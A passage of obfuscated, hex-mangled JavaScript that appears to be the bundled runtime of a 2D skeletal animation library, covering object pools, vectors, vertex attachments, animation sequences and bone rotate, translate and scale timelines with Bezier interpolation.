['webkit602BugfixHelper'](_0x53660d, _0x40ba2e) { } static ['contains'](_0xcc46da, _0x15837f, _0x5acf3d = !0x0) { for (var _0x620196 = 0x0; _0x620196 < _0xcc46da['length']; _0x620196++)if (_0xcc46da[_0x620196] == _0x15837f) return !0x0; return !0x1; } static ['enumValue'](_0x36200f, _0x16db04) { return _0x36200f[_0x16db04[0x0]['toUpperCase']() + _0x16db04['slice'](0x1)]; } }, _0x380bba = _0x3c13b9; _0x380bba['SUPPORTS_TYPED_ARRAYS'] = 'undefined' != typeof Float32Array; var _0x186cad = class { static ['logBones'](_0x45ebe1) { for (let _0x22c38a = 0x0; _0x22c38a < _0x45ebe1['bones']['length']; _0x22c38a++) { _0x45ebe1['bones'][_0x22c38a]; } } }, _0x100ce0 = class { constructor(_0x49c622) { this['items'] = new Array(), this['instantiator'] = _0x49c622; } ['obtain']() { return this['items']['length'] > 0x0 ? this['items']['pop']() : this['instantiator'](); } ['free'](_0x52e40b) { _0x52e40b['reset'] && _0x52e40b['reset'](), this['items']['push'](_0x52e40b); } ['freeAll'](_0x2b9dc1) { for (let _0x4ee91a = 0x0; _0x4ee91a < _0x2b9dc1['length']; _0x4ee91a++)this['free'](_0x2b9dc1[_0x4ee91a]); } ['clear']() { this['items']['length'] = 0x0; } }, _0x47b9a5 = class { constructor(_0x71be57 = 0x0, _0x9c3c21 = 0x0) { this['x'] = _0x71be57, this['y'] = _0x9c3c21; } ['set'](_0x18f9c3, _0x2b450d) { return this['x'] = _0x18f9c3, this['y'] = _0x2b450d, this; } ['length']() { let _0x162d34 = this['x'], _0x37f101 = this['y']; return Math['sqrt'](_0x162d34 * _0x162d34 + _0x37f101 * _0x37f101); } ['normalize']() { let _0x488dce = this['length'](); return 0x0 != _0x488dce && (this['x'] /= _0x488dce, this['y'] /= _0x488dce), this; } }, _0x50f3e2 = class { constructor() { this['maxDelta'] = 0.064, this['framesPerSecond'] = 0x0, this['delta'] = 0x0, this['totalTime'] = 0x0, this['lastTime'] = Date['now']() / 0x3e8, this['frameCount'] = 0x0, this['frameTime'] = 0x0; } ['update']() { let _0x54e0c2 = Date['now']() / 0x3e8; this['delta'] = _0x54e0c2 - this['lastTime'], this['frameTime'] += this['delta'], this['totalTime'] += this['delta'], this['delta'] > this['maxDelta'] && (this['delta'] = this['maxDelta']), this['lastTime'] = _0x54e0c2, this['frameCount']++, this['frameTime'] > 0x1 && (this['framesPerSecond'] = this['frameCount'] / this['frameTime'], this['frameTime'] = 0x0, this['frameCount'] = 0x0); } }, _0x221076 = class { constructor(_0x4e9723 = 0x20) { this['addedValues'] = 0x0, this['lastValue'] = 0x0, this['mean'] = 0x0, this['dirty'] = !0x0, this['values'] = new Array(_0x4e9723); } ['hasEnoughData']() { return this['addedValues'] >= this['values']['length']; } ['addValue'](_0x2fe7e6) { this['addedValues'] < this['values']['length'] && this['addedValues']++, this['values'][this['lastValue']++] = _0x2fe7e6, this['lastValue'] > this['values']['length'] - 0x1 && (this['lastValue'] = 0x0), this['dirty'] = !0x0; } ['getMean']() { if (this['hasEnoughData']()) { if (this['dirty']) { let _0x4aaf97 = 0x0; for (let _0x2e3dbf = 0x0; _0x2e3dbf < this['values']['length']; _0x2e3dbf++)_0x4aaf97 += this['values'][_0x2e3dbf]; this['mean'] = _0x4aaf97 / this['values']['length'], this['dirty'] = !0x1; } return this['mean']; } return 0x0; } }, _0x167b0f = class { constructor(_0x1a5eaf) { if (!_0x1a5eaf) throw new Error('name\x20cannot\x20be\x20null.'); this['name'] = _0x1a5eaf; } }, _0x53a5a2 = class extends _0x167b0f { constructor(_0x4f9919) { super(_0x4f9919), this['id'] = _0x53a5a2['nextID']++, this['bones'] = null, this['vertices'] = [], this['worldVerticesLength'] = 0x0, this['timelineAttachment'] = this; } ['computeWorldVertices'](_0x35da75, _0x1d4a8e, _0xa46d74, _0x46c4a3, _0x1a46f9, _0x1e425d) { _0xa46d74 = _0x1a46f9 + (_0xa46d74 >> 0x1) * _0x1e425d; let _0x19db6f = _0x35da75['bone']['skeleton'], _0x1e0b56 = _0x35da75['deform'], _0x4ec1ea = this['vertices'], _0x58ba75 = this['bones']; if (!_0x58ba75) { _0x1e0b56['length'] > 0x0 && (_0x4ec1ea = _0x1e0b56); let _0x1b7a25 = _0x35da75['bone'], _0x3678a3 = _0x1b7a25['worldX'], _0xce4a50 = _0x1b7a25['worldY'], _0x24f108 = _0x1b7a25['a'], _0x3d1795 = _0x1b7a25['b'], _0x4201f3 = _0x1b7a25['c'], _0x38e555 = _0x1b7a25['d']; for (let _0xa6396d = _0x1d4a8e, _0x487ecd = _0x1a46f9; _0x487ecd < _0xa46d74; _0xa6396d += 0x2, _0x487ecd += _0x1e425d) { let _0x9c5b7a = _0x4ec1ea[_0xa6396d], _0x48bfdb = _0x4ec1ea[_0xa6396d + 0x1]; _0x46c4a3[_0x487ecd] = _0x9c5b7a * _0x24f108 + _0x48bfdb * _0x3d1795 + _0x3678a3, _0x46c4a3[_0x487ecd + 0x1] = _0x9c5b7a * _0x4201f3 + _0x48bfdb * _0x38e555 + _0xce4a50; } return; } let _0x112ca6 = 0x0, _0x4a433e = 0x0; for (let _0x2cec18 = 0x0; _0x2cec18 < _0x1d4a8e; _0x2cec18 += 0x2) { let _0x547010 = _0x58ba75[_0x112ca6]; _0x112ca6 += _0x547010 + 0x1, _0x4a433e += _0x547010; } let _0x4d1812 = _0x19db6f['bones']; if (0x0 == _0x1e0b56['length']) for (let _0x3581bb = _0x1a46f9, _0x2f2b6f = 0x3 * _0x4a433e; _0x3581bb < _0xa46d74; _0x3581bb += _0x1e425d) { let _0x5debe8 = 0x0, _0x2f84b8 = 0x0, _0x3affe5 = _0x58ba75[_0x112ca6++]; for (_0x3affe5 += _0x112ca6; _0x112ca6 < _0x3affe5; _0x112ca6++, _0x2f2b6f += 0x3) { let _0x1f07ba = _0x4d1812[_0x58ba75[_0x112ca6]], _0x5f0cff = _0x4ec1ea[_0x2f2b6f], _0x470db7 = _0x4ec1ea[_0x2f2b6f + 0x1], _0x225c76 = _0x4ec1ea[_0x2f2b6f + 0x2]; _0x5debe8 += (_0x5f0cff * _0x1f07ba['a'] + _0x470db7 * _0x1f07ba['b'] + _0x1f07ba['worldX']) * _0x225c76, _0x2f84b8 += (_0x5f0cff * _0x1f07ba['c'] + _0x470db7 * _0x1f07ba['d'] + _0x1f07ba['worldY']) * _0x225c76; } _0x46c4a3[_0x3581bb] = _0x5debe8, _0x46c4a3[_0x3581bb + 0x1] = _0x2f84b8; } else { let _0x5b8a19 = _0x1e0b56; for (let _0x2bc3b0 = _0x1a46f9, _0x38f2f4 = 0x3 * _0x4a433e, _0x5b1ca9 = _0x4a433e << 0x1; _0x2bc3b0 < _0xa46d74; _0x2bc3b0 += _0x1e425d) { let _0x26a45c = 0x0, _0x262361 = 0x0, _0x5033ec = _0x58ba75[_0x112ca6++]; for (_0x5033ec += _0x112ca6; _0x112ca6 < _0x5033ec; _0x112ca6++, _0x38f2f4 += 0x3, _0x5b1ca9 += 0x2) { let _0x59e7a5 = _0x4d1812[_0x58ba75[_0x112ca6]], _0x6b870a = _0x4ec1ea[_0x38f2f4] + _0x5b8a19[_0x5b1ca9], _0x53eb0b = _0x4ec1ea[_0x38f2f4 + 0x1] + _0x5b8a19[_0x5b1ca9 + 0x1], _0x39207a = _0x4ec1ea[_0x38f2f4 + 0x2]; _0x26a45c += (_0x6b870a * _0x59e7a5['a'] + _0x53eb0b * _0x59e7a5['b'] + _0x59e7a5['worldX']) * _0x39207a, _0x262361 += (_0x6b870a * _0x59e7a5['c'] + _0x53eb0b * _0x59e7a5['d'] + _0x59e7a5['worldY']) * _0x39207a; } _0x46c4a3[_0x2bc3b0] = _0x26a45c, _0x46c4a3[_0x2bc3b0 + 0x1] = _0x262361; } } } ['copyTo'](_0x4b44af) { this['bones'] ? (_0x4b44af['bones'] = new Array(this['bones']['length']), _0x380bba['arrayCopy'](this['bones'], 0x0, _0x4b44af['bones'], 0x0, this['bones']['length'])) : _0x4b44af['bones'] = null, this['vertices'] && (_0x4b44af['vertices'] = _0x380bba['newFloatArray'](this['vertices']['length']), _0x380bba['arrayCopy'](this['vertices'], 0x0, _0x4b44af['vertices'], 0x0, this['vertices']['length'])), _0x4b44af['worldVerticesLength'] = this['worldVerticesLength'], _0x4b44af['timelineAttachment'] = this['timelineAttachment']; } }, _0x26c777 = _0x53a5a2; _0x26c777['nextID'] = 0x0; var _0x11d4a7 = class { constructor(_0x1c9c72) { this['id'] = _0x11d4a7['nextID'](), this['start'] = 0x0, this['digits'] = 0x0, this['setupIndex'] = 0x0, this['regions'] = new Array(_0x1c9c72); } ['copy']() { let _0x3518dd = new _0x11d4a7(this['regions']['length']); return _0x380bba['arrayCopy'](this['regions'], 0x0, _0x3518dd['regions'], 0x0, this['regions']['length']), _0x3518dd['start'] = this['start'], _0x3518dd['digits'] = this['digits'], _0x3518dd['setupIndex'] = this['setupIndex'], _0x3518dd; } ['apply'](_0x1ff268, _0xcd5ad5) { let _0x204ee7 = _0x1ff268['sequenceIndex']; -0x1 == _0x204ee7 && (_0x204ee7 = this['setupIndex']), _0x204ee7 >= this['regions']['length'] && (_0x204ee7 = this['regions']['length'] - 0x1); let _0x2921b5 = this['regions'][_0x204ee7]; _0xcd5ad5['region'] != _0x2921b5 && (_0xcd5ad5['region'] = _0x2921b5, _0xcd5ad5['updateRegion']()); } ['getPath'](_0x363aac, _0x17ae44) { let _0x11b7b2 = _0x363aac, _0x4373e7 = (this['start'] + _0x17ae44)['toString'](); for (let _0x2939c7 = this['digits'] - _0x4373e7['length']; _0x2939c7 > 0x0; _0x2939c7--)_0x11b7b2 += '0'; return _0x11b7b2 += _0x4373e7, _0x11b7b2; } static ['nextID']() { return _0x11d4a7['_nextID']++; } }, _0x5f6ea8 = _0x11d4a7; _0x5f6ea8['_nextID'] = 0x0; var _0x28d323 = (_0x345c6f => (_0x345c6f[_0x345c6f['hold'] = 0x0] = 'hold', _0x345c6f[_0x345c6f['once'] = 0x1] = 'once', _0x345c6f[_0x345c6f['loop'] = 0x2] = 'loop', _0x345c6f[_0x345c6f['pingpong'] = 0x3] = 'pingpong', _0x345c6f[_0x345c6f['onceReverse'] = 0x4] = 'onceReverse', _0x345c6f[_0x345c6f['loopReverse'] = 0x5] = 'loopReverse', _0x345c6f[_0x345c6f['pingpongReverse'] = 0x6] = 'pingpongReverse', _0x345c6f))(_0x28d323 || {}), _0x1c342c = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6], _0x908e8c = class { constructor(_0x3e61cd, _0x55210e, _0x41f143) { if (this['timelines'] = [], this['timelineIds'] = new _0x3b4f17(), !_0x3e61cd) throw new Error('name\x20cannot\x20be\x20null.'); this['name'] = _0x3e61cd, this['setTimelines'](_0x55210e), this['duration'] = _0x41f143; } ['setTimelines'](_0x336343) { if (!_0x336343) throw new Error('timelines\x20cannot\x20be\x20null.'); this['timelines'] = _0x336343, this['timelineIds']['clear'](); for (var _0x5391d1 = 0x0; _0x5391d1 < _0x336343['length']; _0x5391d1++)this['timelineIds']['addAll'](_0x336343[_0x5391d1]['getPropertyIds']()); } ['hasTimeline'](_0x16d5de) { for (let _0xe30aa9 = 0x0; _0xe30aa9 < _0x16d5de['length']; _0xe30aa9++)if (this['timelineIds']['contains'](_0x16d5de[_0xe30aa9])) return !0x0; return !0x1; } ['apply'](_0xf08398, _0x485c2b, _0xf9b5c4, _0x1f6bd8, _0xf95a10, _0x203997, _0x1803c1, _0xe5dd62) { if (!_0xf08398) throw new Error('skeleton\x20cannot\x20be\x20null.'); _0x1f6bd8 && 0x0 != this['duration'] && (_0xf9b5c4 %= this['duration'], _0x485c2b > 0x0 && (_0x485c2b %= this['duration'])); let _0x297a4a = this['timelines']; for (let _0xb4471c = 0x0, _0x1125b3 = _0x297a4a['length']; _0xb4471c < _0x1125b3; _0xb4471c++)_0x297a4a[_0xb4471c]['apply'](_0xf08398, _0x485c2b, _0xf9b5c4, _0xf95a10, _0x203997, _0x1803c1, _0xe5dd62); } }, _0x4c0aed = (_0x2a48b1 => (_0x2a48b1[_0x2a48b1['setup'] = 0x0] = 'setup', _0x2a48b1[_0x2a48b1['first'] = 0x1] = 'first', _0x2a48b1[_0x2a48b1['replace'] = 0x2] = 'replace', _0x2a48b1[_0x2a48b1['add'] = 0x3] = 'add', _0x2a48b1))(_0x4c0aed || {}), _0x209d3e = (_0x39dbcc => (_0x39dbcc[_0x39dbcc['mixIn'] = 0x0] = 'mixIn', _0x39dbcc[_0x39dbcc['mixOut'] = 0x1] = 'mixOut', _0x39dbcc))(_0x209d3e || {}), _0x1202db = 0x0, _0x46b243 = 0x1, _0x465277 = 0x2, _0x2cb0e5 = 0x3, _0x45c737 = 0x4, _0x1833a1 = 0x5, _0x571531 = 0x6, _0x431d0d = 0x7, _0x9c7dbc = 0x8, _0x32bb32 = 0x9, _0x1f7b1d = 0xa, _0xf45e3a = 0xb, _0x50f840 = 0xc, _0x30a3ae = 0xd, _0x1d0b1f = 0xe, _0x1730bd = 0xf, _0x427dcc = 0x10, _0x5e9772 = 0x11, _0x475e30 = 0x12, _0x2539d3 = 0x13, _0x477107 = class { constructor(_0x40e18f, _0x3460a9) { this['propertyIds'] = _0x3460a9, this['frames'] = _0x380bba['newFloatArray'](_0x40e18f * this['getFrameEntries']()); } ['getPropertyIds']() { return this['propertyIds']; } ['getFrameEntries']() { return 0x1; } ['getFrameCount']() { return this['frames']['length'] / this['getFrameEntries'](); } ['getDuration']() { return this['frames'][this['frames']['length'] - this['getFrameEntries']()]; } static ['search1'](_0x119070, _0x92efc1) { let _0x238cc5 = _0x119070['length']; for (let _0x3deb00 = 0x1; _0x3deb00 < _0x238cc5; _0x3deb00++)if (_0x119070[_0x3deb00] > _0x92efc1) return _0x3deb00 - 0x1; return _0x238cc5 - 0x1; } static ['search'](_0x2cad01, _0x3491a4, _0x13c089) { let _0x283d36 = _0x2cad01['length']; for (let _0x1f2bb4 = _0x13c089; _0x1f2bb4 < _0x283d36; _0x1f2bb4 += _0x13c089)if (_0x2cad01[_0x1f2bb4] > _0x3491a4) return _0x1f2bb4 - _0x13c089; return _0x283d36 - _0x13c089; } }, _0x4695f1 = class extends _0x477107 { constructor(_0x270b15, _0x52b1a4, _0x1ed9d7) { super(_0x270b15, _0x1ed9d7), this['curves'] = _0x380bba['newFloatArray'](_0x270b15 + 0x12 * _0x52b1a4), this['curves'][_0x270b15 - 0x1] = 0x1; } ['setLinear'](_0xd446c0) { this['curves'][_0xd446c0] = 0x0; } ['setStepped'](_0x478b01) { this['curves'][_0x478b01] = 0x1; } ['shrink'](_0x48d8ec) { let _0x269b39 = this['getFrameCount']() + 0x12 * _0x48d8ec; if (this['curves']['length'] > _0x269b39) { let _0xaafa1 = _0x380bba['newFloatArray'](_0x269b39); _0x380bba['arrayCopy'](this['curves'], 0x0, _0xaafa1, 0x0, _0x269b39), this['curves'] = _0xaafa1; } } ['setBezier'](_0x1705d1, _0x135264, _0x2d9373, _0x52a9c8, _0x5df7c2, _0x2f5179, _0x270a18, _0x5a191d, _0x438325, _0x4f1e8e, _0x330858) { let _0xc906 = this['curves'], _0x19b264 = this['getFrameCount']() + 0x12 * _0x1705d1; 0x0 == _0x2d9373 && (_0xc906[_0x135264] = 0x2 + _0x19b264); let _0x246531 = 0.03 * (_0x52a9c8 - 0x2 * _0x2f5179 + _0x5a191d), _0x3718c9 = 0.03 * (_0x5df7c2 - 0x2 * _0x270a18 + _0x438325), _0xdf665c = 0.006 * (0x3 * (_0x2f5179 - _0x5a191d) - _0x52a9c8 + _0x4f1e8e), _0x588b24 = 0.006 * (0x3 * (_0x270a18 - _0x438325) - _0x5df7c2 + _0x330858), _0x2cabd4 = 0x2 * _0x246531 + _0xdf665c, _0x27c18e = 0x2 * _0x3718c9 + _0x588b24, _0x4681a3 = 0.3 * (_0x2f5179 - _0x52a9c8) + _0x246531 + 0.16666667 * _0xdf665c, _0x53dc12 = 0.3 * (_0x270a18 - _0x5df7c2) + _0x3718c9 + 0.16666667 * _0x588b24, _0x5c698b = _0x52a9c8 + _0x4681a3, _0x384aac = _0x5df7c2 + _0x53dc12; for (let _0x368aa0 = _0x19b264 + 0x12; _0x19b264 < _0x368aa0; _0x19b264 += 0x2)_0xc906[_0x19b264] = _0x5c698b, _0xc906[_0x19b264 + 0x1] = _0x384aac, _0x4681a3 += _0x2cabd4, _0x53dc12 += _0x27c18e, _0x2cabd4 += _0xdf665c, _0x27c18e += _0x588b24, _0x5c698b += _0x4681a3, _0x384aac += _0x53dc12; } ['getBezierValue'](_0x40cfa6, _0x3dd42b, _0x23262c, _0x568350) { let _0x19a91a = this['curves']; if (_0x19a91a[_0x568350] > _0x40cfa6) { let _0x5aaec4 = this['frames'][_0x3dd42b], _0x323a8b = this['frames'][_0x3dd42b + _0x23262c]; return _0x323a8b + (_0x40cfa6 - _0x5aaec4) / (_0x19a91a[_0x568350] - _0x5aaec4) * (_0x19a91a[_0x568350 + 0x1] - _0x323a8b); } let _0x531da7 = _0x568350 + 0x12; for (_0x568350 += 0x2; _0x568350 < _0x531da7; _0x568350 += 0x2)if (_0x19a91a[_0x568350] >= _0x40cfa6) { let _0x33902f = _0x19a91a[_0x568350 - 0x2], _0x2665c1 = _0x19a91a[_0x568350 - 0x1]; return _0x2665c1 + (_0x40cfa6 - _0x33902f) / (_0x19a91a[_0x568350] - _0x33902f) * (_0x19a91a[_0x568350 + 0x1] - _0x2665c1); } _0x3dd42b += this['getFrameEntries'](); let _0x3328c8 = _0x19a91a[_0x531da7 - 0x2], _0x5eaaae = _0x19a91a[_0x531da7 - 0x1]; return _0x5eaaae + (_0x40cfa6 - _0x3328c8) / (this['frames'][_0x3dd42b] - _0x3328c8) * (this['frames'][_0x3dd42b + _0x23262c] - _0x5eaaae); } }, _0x2691fc = class extends _0x4695f1 { constructor(_0x1854b6, _0x4f37f3, _0xac8245) { super(_0x1854b6, _0x4f37f3, [_0xac8245]); } ['getFrameEntries']() { return 0x2; } ['setFrame'](_0x2731e0, _0x25d505, _0x569022) { _0x2731e0 <<= 0x1, this['frames'][_0x2731e0] = _0x25d505, this['frames'][_0x2731e0 + 0x1] = _0x569022; } ['getCurveValue'](_0x2daa45) { let _0x5f234a = this['frames'], _0x34d11f = _0x5f234a['length'] - 0x2; for (let _0x5474fe = 0x2; _0x5474fe <= _0x34d11f; _0x5474fe += 0x2)if (_0x5f234a[_0x5474fe] > _0x2daa45) { _0x34d11f = _0x5474fe - 0x2; break; } let _0x7793f = this['curves'][_0x34d11f >> 0x1]; switch (_0x7793f) { case 0x0: let _0x327b61 = _0x5f234a[_0x34d11f], _0x12cb17 = _0x5f234a[_0x34d11f + 0x1]; return _0x12cb17 + (_0x2daa45 - _0x327b61) / (_0x5f234a[_0x34d11f + 0x2] - _0x327b61) * (_0x5f234a[_0x34d11f + 0x2 + 0x1] - _0x12cb17); case 0x1: return _0x5f234a[_0x34d11f + 0x1]; }return this['getBezierValue'](_0x2daa45, _0x34d11f, 0x1, _0x7793f - 0x2); } }, _0x402db1 = class extends _0x4695f1 { constructor(_0x360428, _0xe13fe4, _0x1334be, _0x4d07c4) { super(_0x360428, _0xe13fe4, [_0x1334be, _0x4d07c4]); } ['getFrameEntries']() { return 0x3; } ['setFrame'](_0x358c92, _0x160318, _0x4490d0, _0x21ebf9) { _0x358c92 *= 0x3, this['frames'][_0x358c92] = _0x160318, this['frames'][_0x358c92 + 0x1] = _0x4490d0, this['frames'][_0x358c92 + 0x2] = _0x21ebf9; } }, _0x1bb8f1 = class extends _0x2691fc { constructor(_0x759efc, _0x2f46c1, _0x146b95) { super(_0x759efc, _0x2f46c1, _0x1202db + '|' + _0x146b95), this['boneIndex'] = 0x0, this['boneIndex'] = _0x146b95; } ['apply'](_0x129dbb, _0x4ecb33, _0x1589e5, _0x39ac0b, _0x546504, _0x16a81b, _0x125fd7) { let _0x26baca = _0x129dbb['bones'][this['boneIndex']]; if (!_0x26baca['active']) return; if (_0x1589e5 < this['frames'][0x0]) { switch (_0x16a81b) { case 0x0: return void (_0x26baca['rotation'] = _0x26baca['data']['rotation']); case 0x1: _0x26baca['rotation'] += (_0x26baca['data']['rotation'] - _0x26baca['rotation']) * _0x546504; }return; } let _0x5ea1f6 = this['getCurveValue'](_0x1589e5); switch (_0x16a81b) { case 0x0: _0x26baca['rotation'] = _0x26baca['data']['rotation'] + _0x5ea1f6 * _0x546504; break; case 0x1: case 0x2: _0x5ea1f6 += _0x26baca['data']['rotation'] - _0x26baca['rotation']; case 0x3: _0x26baca['rotation'] += _0x5ea1f6 * _0x546504; } } }, _0x4b4ba8 = class extends _0x402db1 { constructor(_0x4c45c4, _0x4e6209, _0x20a687) { super(_0x4c45c4, _0x4e6209, _0x46b243 + '|' + _0x20a687, _0x465277 + '|' + _0x20a687), this['boneIndex'] = 0x0, this['boneIndex'] = _0x20a687; } ['apply'](_0x1bf0d, _0x3b6e72, _0x2ca527, _0x45fd58, _0x472456, _0x197a92, _0x42e1ed) { let _0x1c4c43 = _0x1bf0d['bones'][this['boneIndex']]; if (!_0x1c4c43['active']) return; let _0x499eaa = this['frames']; if (_0x2ca527 < _0x499eaa[0x0]) { switch (_0x197a92) { case 0x0: return _0x1c4c43['x'] = _0x1c4c43['data']['x'], void (_0x1c4c43['y'] = _0x1c4c43['data']['y']); case 0x1: _0x1c4c43['x'] += (_0x1c4c43['data']['x'] - _0x1c4c43['x']) * _0x472456, _0x1c4c43['y'] += (_0x1c4c43['data']['y'] - _0x1c4c43['y']) * _0x472456; }return; } let _0x3055c2 = 0x0, _0x385685 = 0x0, _0x45fab2 = _0x477107['search'](_0x499eaa, _0x2ca527, 0x3), _0x4fcad0 = this['curves'][_0x45fab2 / 0x3]; switch (_0x4fcad0) { case 0x0: let _0x2bc8ec = _0x499eaa[_0x45fab2]; _0x3055c2 = _0x499eaa[_0x45fab2 + 0x1], _0x385685 = _0x499eaa[_0x45fab2 + 0x2]; let _0x54e30c = (_0x2ca527 - _0x2bc8ec) / (_0x499eaa[_0x45fab2 + 0x3] - _0x2bc8ec); _0x3055c2 += (_0x499eaa[_0x45fab2 + 0x3 + 0x1] - _0x3055c2) * _0x54e30c, _0x385685 += (_0x499eaa[_0x45fab2 + 0x3 + 0x2] - _0x385685) * _0x54e30c; break; case 0x1: _0x3055c2 = _0x499eaa[_0x45fab2 + 0x1], _0x385685 = _0x499eaa[_0x45fab2 + 0x2]; break; default: _0x3055c2 = this['getBezierValue'](_0x2ca527, _0x45fab2, 0x1, _0x4fcad0 - 0x2), _0x385685 = this['getBezierValue'](_0x2ca527, _0x45fab2, 0x2, _0x4fcad0 + 0x12 - 0x2); }switch (_0x197a92) { case 0x0: _0x1c4c43['x'] = _0x1c4c43['data']['x'] + _0x3055c2 * _0x472456, _0x1c4c43['y'] = _0x1c4c43['data']['y'] + _0x385685 * _0x472456; break; case 0x1: case 0x2: _0x1c4c43['x'] += (_0x1c4c43['data']['x'] + _0x3055c2 - _0x1c4c43['x']) * _0x472456, _0x1c4c43['y'] += (_0x1c4c43['data']['y'] + _0x385685 - _0x1c4c43['y']) * _0x472456; break; case 0x3: _0x1c4c43['x'] += _0x3055c2 * _0x472456, _0x1c4c43['y'] += _0x385685 * _0x472456; } } }, _0x4c774a = class extends _0x2691fc { constructor(_0x257dda, _0x5d61df, _0x4852d4) { super(_0x257dda, _0x5d61df, _0x46b243 + '|' + _0x4852d4), this['boneIndex'] = 0x0, this['boneIndex'] = _0x4852d4; } ['apply'](_0x5a27a3, _0xa6f21, _0x258b89, _0x466464, _0x4402ca, _0x1747b0, _0x3af676) { let _0x2a117a = _0x5a27a3['bones'][this['boneIndex']]; if (!_0x2a117a['active']) return; if (_0x258b89 < this['frames'][0x0]) { switch (_0x1747b0) { case 0x0: return void (_0x2a117a['x'] = _0x2a117a['data']['x']); case 0x1: _0x2a117a['x'] += (_0x2a117a['data']['x'] - _0x2a117a['x']) * _0x4402ca; }return; } let _0x1864a6 = this['getCurveValue'](_0x258b89); switch (_0x1747b0) { case 0x0: _0x2a117a['x'] = _0x2a117a['data']['x'] + _0x1864a6 * _0x4402ca; break; case 0x1: case 0x2: _0x2a117a['x'] += (_0x2a117a['data']['x'] + _0x1864a6 - _0x2a117a['x']) * _0x4402ca; break; case 0x3: _0x2a117a['x'] += _0x1864a6 * _0x4402ca; } } }, _0x1c66a3 = class extends _0x2691fc { constructor(_0xd34d38, _0x418013, _0x32d656) { super(_0xd34d38, _0x418013, _0x465277 + '|' + _0x32d656), this['boneIndex'] = 0x0, this['boneIndex'] = _0x32d656; } ['apply'](_0x1e339c, _0x1f753a, _0x25a659, _0x53fc5e, _0x171f54, _0x32d07a, _0x525366) { let _0x74fdc0 = _0x1e339c['bones'][this['boneIndex']]; if (!_0x74fdc0['active']) return; if (_0x25a659 < this['frames'][0x0]) { switch (_0x32d07a) { case 0x0: return void (_0x74fdc0['y'] = _0x74fdc0['data']['y']); case 0x1: _0x74fdc0['y'] += (_0x74fdc0['data']['y'] - _0x74fdc0['y']) * _0x171f54; }return; } let _0xeca5e7 = this['getCurveValue'](_0x25a659); switch (_0x32d07a) { case 0x0: _0x74fdc0['y'] = _0x74fdc0['data']['y'] + _0xeca5e7 * _0x171f54; break; case 0x1: case 0x2: _0x74fdc0['y'] += (_0x74fdc0['data']['y'] + _0xeca5e7 - _0x74fdc0['y']) * _0x171f54; break; case 0x3: _0x74fdc0['y'] += _0xeca5e7 * _0x171f54; } } }, _0x5c8fbd = class extends _0x402db1 { constructor(_0x480f14, _0x2bbaeb, _0x3594e9) { super(_0x480f14, _0x2bbaeb, _0x2cb0e5 + '|' + _0x3594e9, _0x45c737 + '|' + _0x3594e9), this['boneIndex'] = 0x0, this['boneIndex'] = _0x3594e9; } ['apply'](_0x20eabc, _0x33632, _0x56de87, _0x53a7c8, _0x245bba, _0x81358d, _0x5938a7) { let _0x54901e = _0x20eabc['bones'][this['boneIndex']]; if (!_0x54901e['active']) return; let _0x4b4f8b, _0x5ce64b, _0x1469c2 = this['frames']; if (_0x56de87 < _0x1469c2[0x0]) { switch (_0x81358d) { case 0x0: return _0x54901e['scaleX'] = _0x54901e['data']['scaleX'], void (_0x54901e['scaleY'] = _0x54901e['data']['scaleY']); case 0x1: _0x54901e['scaleX'] += (_0x54901e['data']['scaleX'] - _0x54901e['scaleX']) * _0x245bba, _0x54901e['scaleY'] += (_0x54901e['data']['scaleY'] - _0x54901e['scaleY']) * _0x245bba; }return; } let _0x591497 = _0x477107['search'](_0x1469c2, _0x56de87, 0x3), _0x3e7af5 = this['curves'][_0x591497 / 0x3]; switch (_0x3e7af5) { case 0x0: let _0x27a5d9 = _0x1469c2[_0x591497]; _0x4b4f8b = _0x1469c2[_0x591497 + 0x1], _0x5ce64b = _0x1469c2[_0x591497 + 0x2]; let _0x4dbf21 = (_0x56de87 - _0x27a5d9) / (_0x1469c2[_0x591497 + 0x3] - _0x27a5d9); _0x4b4f8b += (_0x1469c2[_0x591497 + 0x3 + 0x1] - _0x4b4f8b) * _0x4dbf21, _0x5ce64b += (_0x1469c2[_0x591497 + 0x3 + 0x2] - _0x5ce64b) * _0x4dbf21; break; case 0x1: _0x4b4f8b = _0x1469c2[_0x591497 + 0x1], _0x5ce64b = _0x1469c2[_0x591497 + 0x2]; break; default: _0x4b4f8b = this['getBezierValue'](_0x56de87, _0x591497, 0x1, _0x3e7af5 - 0x2), _0x5ce64b = this['getBezierValue'](_0x56de87, _0x591497, 0x2, _0x3e7af5 + 0x12 - 0x2); }if (_0x4b4f8b *= _0x54901e['data']['scaleX'], _0x5ce64b *= _0x54901e['data']['scaleY'], 0x1 == _0x245bba) 0x3 == _0x81358d ? (_0x54901e['scaleX'] += _0x4b4f8b - _0x54901e['data']['scaleX'], _0x54901e['scaleY'] += _0x5ce64b - _0x54901e['data']['scaleY']) : (_0x54901e['scaleX'] = _0x4b4f8b, _0x54901e['scaleY'] = _0x5ce64b); else { let _0x56bb45 = 0x0, _0x2e452b = 0x0; if (0x1 == _0x5938a7) switch (_0x81358d) { case 0x0: _0x56bb45 = _0x54901e['data']['scaleX'], _0x2e452b = _0x54901e['data']['scaleY'], _0x54901e['scaleX'] = _0x56bb45 + (Math['abs'](_0x4b4f8b) * _0xbc125['signum'](_0x56bb45) - _0x56bb45) * _0x245bba, _0x54901e['scaleY'] = _0x2e452b + (Math['abs'](_0x5ce64b) * _0xbc125['signum'](_0x2e452b) - _0x2e452b) * _0x245bba; break; case 0x1: case 0x2: _0x56bb45 = _0x54901e['scaleX'], _0x2e452b = _0x54901e['scaleY'], _0x54901e['scaleX'] = _0x56bb45 + (Math['abs'](_0x4b4f8b) * _0xbc125['signum'](_0x56bb45) - _0x56bb45) * _0x245bba, _0x54901e['scaleY'] = _0x2e452b + (Math['abs'](_0x5ce64b) * _0xbc125['signum'](_0x2e452b) - _0x2e452b) * _0x245bba; break; case 0x3: _0x54901e['scaleX'] += (_0x4b4f8b - _0x54901e['data']['scaleX']) * _0x245bba, _0x54901e['scaleY'] += (_0x5ce64b - _0x54901e['data']['scaleY']) * _0x245bba; } else switch (_0x81358d) { case 0x0: _0x56bb45 = Math['abs'](_0x54901e['data']['scaleX']) * _0xbc125['signum'](_0x4b4f8b), _0x2e452b = Math['abs'](_0x54901e['data']['scaleY']) * _0xbc125['signum'](_0x5ce64b), _0x54901e['scaleX'] = _0x56bb45 + (_0x4b4f8b - _0x56bb45) * _0x245bba, _0x54901e['scaleY'] = _0x2e452b + (_0x5ce64b - _0x2e452b) * _0x245bba; break; case 0x1: case 0x2: _0x56bb45 = Math['abs'](_0x54901e['scaleX']) * _0xbc125['signum'](_0x4b4f8b), 